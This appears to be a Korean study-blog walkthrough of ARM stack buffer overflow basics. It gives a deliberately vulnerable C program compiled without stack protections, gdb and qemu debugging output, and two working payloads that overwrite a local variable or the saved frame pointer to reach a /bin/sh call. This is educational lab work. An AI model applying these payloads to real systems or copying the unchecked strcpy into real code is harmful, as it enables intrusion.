Self-Improvement
ARM - buffer Overflow 기초 (R11 -> &lr(돌아갈 주소를 갖는 레지스터)) 본문
크로스 컴파일 및 편리하게 ld-linux.so.3 복사
R11 -> &lr(돌아갈 주소를 갖는 레지스터)
bof.c 소스코드
gcc 컴파일할 때 NX, Canary 보호기법을 제거하기 위한 옵션을 추가하고 진행하였다.
풀이2 에서는 코드상의 system("bin/sh"); 주소를 사용할 것이기에 ASLR이 걸려있어도 스택이나 힙의 주소를 사용하지 않을것이기에 상관이없다.
# arm-linux-gnueabi-gcc -z execstack -fno-stack-protector -o bof bof.c
#include <string.h>
#include <stdio.h>
int main(int argc, char *argv[]){
int num=0;
char arr[10];
strcpy(arr, argv[1]);
printf("arr: %s\n", arr);
if(num==1){
system("/bin/sh");
}
else
{
printf("not shell");
}
return 0;
}
bof를 실행해준다.
qemu-arm-static -L /usr/arm-linux-gnueabi -g 8888 ./bof aaaabbbb
gdb-multiarch로 실행한 bof에 붙어준다.
gdb-multiarch ./bof
gef➤ set arch arm
gef➤ target remote localhost:8888
풀이1
소스코드에서 strcpy로 인자로 입력받은 문자열을 arry에 대입해주는데 이때 arry[10]로 제한되어있다.
하지만 strcpy는 크기제한이 없는 함수로 인해 arry[10] 범위를 넘을 수있게 된다.
범위를 넘어 int형인 num이 1이면 쉘을 얻을 수 있게 될 것이다.
먼저 strcpy 부분에 breakpoint를 걸고 실행한다.
gef➤ disassemble main
Dump of assembler code for function main:
0x00010498 <+0>: push {r11, lr}
0x0001049c <+4>: add r11, sp, #4
0x000104a0 <+8>: sub sp, sp, #24
0x000104a4 <+12>: str r0, [r11, #-24] ; 0xffffffe8
0x000104a8 <+16>: str r1, [r11, #-28] ; 0xffffffe4
0x000104ac <+20>: mov r3, #0
0x000104b0 <+24>: str r3, [r11, #-8]
0x000104b4 <+28>: ldr r3, [r11, #-28] ; 0xffffffe4
0x000104b8 <+32>: add r3, r3, #4
0x000104bc <+36>: ldr r2, [r3]
0x000104c0 <+40>: sub r3, r11, #20
0x000104c4 <+44>: mov r1, r2
0x000104c8 <+48>: mov r0, r3
0x000104cc <+52>: bl 0x10334 <strcpy@plt>
0x000104d0 <+56>: sub r3, r11, #20
0x000104d4 <+60>: mov r1, r3
0x000104d8 <+64>: ldr r0, [pc, #48] ; 0x10510 <main+120>
0x000104dc <+68>: bl 0x10328 <printf@plt>
0x000104e0 <+72>: ldr r3, [r11, #-8]
0x000104e4 <+76>: cmp r3, #1
0x000104e8 <+80>: bne 0x104f8 <main+96>
0x000104ec <+84>: ldr r0, [pc, #32] ; 0x10514 <main+124>
0x000104f0 <+88>: bl 0x1034c <system@plt>
0x000104f4 <+92>: b 0x10500 <main+104>
0x000104f8 <+96>: ldr r0, [pc, #24] ; 0x10518 <main+128>
0x000104fc <+100>: bl 0x10328 <printf@plt>
0x00010500 <+104>: mov r3, #0
0x00010504 <+108>: mov r0, r3
0x00010508 <+112>: sub sp, r11, #4
0x0001050c <+116>: pop {r11, pc}
0x00010510 <+120>: andeq r0, r1, r12, lsl #11
0x00010514 <+124>: muleq r1, r8, r5
0x00010518 <+128>: andeq r0, r1, r0, lsr #11
gef➤ b *main+52
gef➤ c
strcpy 함수의 인자는 R0, R1로부터 받으며 입력받은 값을 &R11-20(0x14)에 저장하게 된다.
R11은 프레임 포인터이며 0x40800014에 마이너스 0x14 = 0x40800000에 저장하게 된다.
Dump of assembler code for function main:
0x00010498 <+0>: push {r11, lr}
0x0001049c <+4>: add r11, sp, #4
0x000104a0 <+8>: sub sp, sp, #24
0x000104a4 <+12>: str r0, [r11, #-24] ; 0xffffffe8
0x000104a8 <+16>: str r1, [r11, #-28] ; 0xffffffe4
0x000104ac <+20>: mov r3, #0
0x000104b0 <+24>: str r3, [r11, #-8]
0x000104b4 <+28>: ldr r3, [r11, #-28] ; 0xffffffe4
0x000104b8 <+32>: add r3, r3, #4
0x000104bc <+36>: ldr r2, [r3]
0x000104c0 <+40>: sub r3, r11, #20
0x000104c4 <+44>: mov r1, r2
0x000104c8 <+48>: mov r0, r3
=> 0x000104cc <+52>: bl 0x10334 <strcpy@plt>
[...]
─────────────────────────────────────────────────────────────────────────────────── stack
0x407ffff8│+0x0000: 0x40800164 → 0x40800306 → 0x6f622f2e → 0x6f622f2e ← $sp
0x407ffffc│+0x0004: 0x00000002 → 0x00000002
0x40800000│+0x0008: 0x00010370 → 0xe3a0b000 → 0xe3a0b000 ← $r0, $r3
0x40800004│+0x000c: 0x00000000 → 0x00000000
0x40800008│+0x0010: 0x00000000 → 0x00000000
0x4080000c│+0x0014: 0x00000000 → 0x00000000
0x40800010│+0x0018: 0x00000000 → 0x00000000
0x40800014│+0x001c: 0x4085fd14 → 0xeb006068 → 0xeb006068 ← $r11
[....]
strcpy@plt (
$r0 = 0x40800000 → 0x00010370 → 0xe3a0b000 → 0xe3a0b000,
$r1 = 0x4080030c → 0x61616161 → 0x61616161,
$r2 = 0x4080030c → 0x61616161 → 0x61616161,
$r3 = 0x40800000 → 0x00010370 → 0xe3a0b000 → 0xe3a0b000
)
0x40800000부터 bof를 실행할때 입력한 인자값을 채울 수 있게 된다는 것이며 중요한건 num의 주소이다.
num의 값을 비교하는 부분을 확인해본다.
r3이랑 1을 비교하는 부분이며 R3의 값은 R11-8의 값으로 0x40800014 - 0x8을 한 0x4080000C이다.
0x000104e0 <+72>: ldr r3, [r11, #-8]
0x000104e4 <+76>: cmp r3, #1
0x000104e8 <+80>: bne 0x104f8 <main+96>
0x000104ec <+84>: ldr r0, [pc, #32] ; 0x10514 <main+124>
0x000104f0 <+88>: bl 0x1034c <system@plt>
우리가 입력한 값을 strcpy로 채우는 주소 0x40800000에서 0x4080000C에 1를 넣기위해선 4byte * 3 + 1byte(=1)로 되고 다시 이와 맞게 실행을 해준다.
이때 num == 1은 num이 int 형임을 생각하고 수행한다.
qemu-arm-static -L /usr/arm-linux-gnueabi -g 8888 ./bof `python -c "print 'A'*12+'\x01'"`
arr: AAAAAAAAAAAA
$
풀이2
이번엔 num의 값을 변조하는게 아닌 $r11 -> &lr(함수가 끝나고 돌아갈 주소)에 소스코드의 system("/bin/sh")로 리턴하게 해서 실행시킬 것이다.
if(num==1){
system("/bin/sh");
}
main에서 system("/bin/sh")가 호출되는 부분을 확인해보면 0x104ec 주소에서 "/bin/sh"를 인자로 주고 실행을 하고 있다.
0x000104ec <+84>: ldr r0, [pc, #32] ; 0x10514 <main+124>
0x000104f0 <+88>: bl 0x1034c <system@plt>
0x000104f4 <+92>: b 0x10500 <main+104>
0x000104f8 <+96>: ldr r0, [pc, #24] ; 0x10518 <main+128>
0x104ec주소의 어셈블리어가 ldr r0, [pc, #32]로 r0에 0x10514라는 주소를 대입하고 있다.
0x10514 주소를 찾아가보면 "/bin/sh"를 만날 수 있다
gef➤ x/x 0x10514
0x10514 <main+124>: 0x98
gef➤ x/wx 0x10514
0x10514 <main+124>: 0x00010598
gef➤ x/s 0x10598
0x10598: "/bin/sh"
이제 본론으로 돌아와 strcpy를 통해 스택을 가득(20byte)채운 다음 현 $r11 값에 system("/bin/sh") 주소 0x104ec를 주면 쉘을 얻을 수 있다.
qemu-arm-static -L /usr/arm-linux-gnueabi -g 8888 ./bof `python -c "print 'a'*20+'\xec\x04\x01'"`
arr: aaaabbbbccccddddeeee�
$
$r11에 system("/bin/sh") 주소를 주고 main+112를 수행하면 | sp | r11(system주소) | 스택이 되어진다.
main+116은 스택에 있는 값을 순서대로 r11, pc에 주는 것으로 pc는 다음 수행할 명령어를 가르키게 되고 main+112에서 r11의 system 주소를 pc가 받아서 실행하게 된다.
0x10500 <main+104> mov r3, #0
0x10504 <main+108> mov r0, r3
0x10508 <main+112> sub sp, r11, #4
→ 0x1050c <main+116> pop {r11, pc}
↳ 0x104ec <main+84> ldr r0, [pc, #32] ; 0x10514 <main+124>
0x104f0 <main+88> bl 0x1034c <system@plt>
0x104f4 <main+92> b 0x10500 <main+104>
0x104f8 <main+96> ldr r0, [pc, #24] ; 0x10518 <main+128>
0x104fc <main+100> bl 0x10328 <printf@plt>
0x10500 <main+104> mov r3, #0
위 풀이2는 Canary 보호기법이 있을 경우엔 막히는 공격이다.
NX 보호기법이 적용되어 있다면 스택에 쉘코드를 넣고 실행시킬 수 없다.
ASLR 보호기법 적용되어 있다면 ROP로 가능하다.
Canary 보호기법은 Memory leak이 필수적이다.
다음엔 스택에 쉘코드 넣는것과 스택에 실행권한이 없을 경우의 RTL 기법을 사용해본다.
'ARM' 카테고리의 다른 글
ARM - RTL system("/bin/sh") 예제 (ASLR off, seed48, memmove, struct) (0) | 2021.01.22 |
---|---|
ARM - Buffer Overflow (Shellcode, r11을 덮자) (0) | 2021.01.15 |
** ARM Instruction 설명 (지속적 추가 예정) ** (0) | 2021.01.14 |
(*) ARM char, pointer 종합? (LDMIA, STMIA) (0) | 2021.01.14 |
ARM의 함수 포인터(function pointer) 예제 (0) | 2021.01.12 |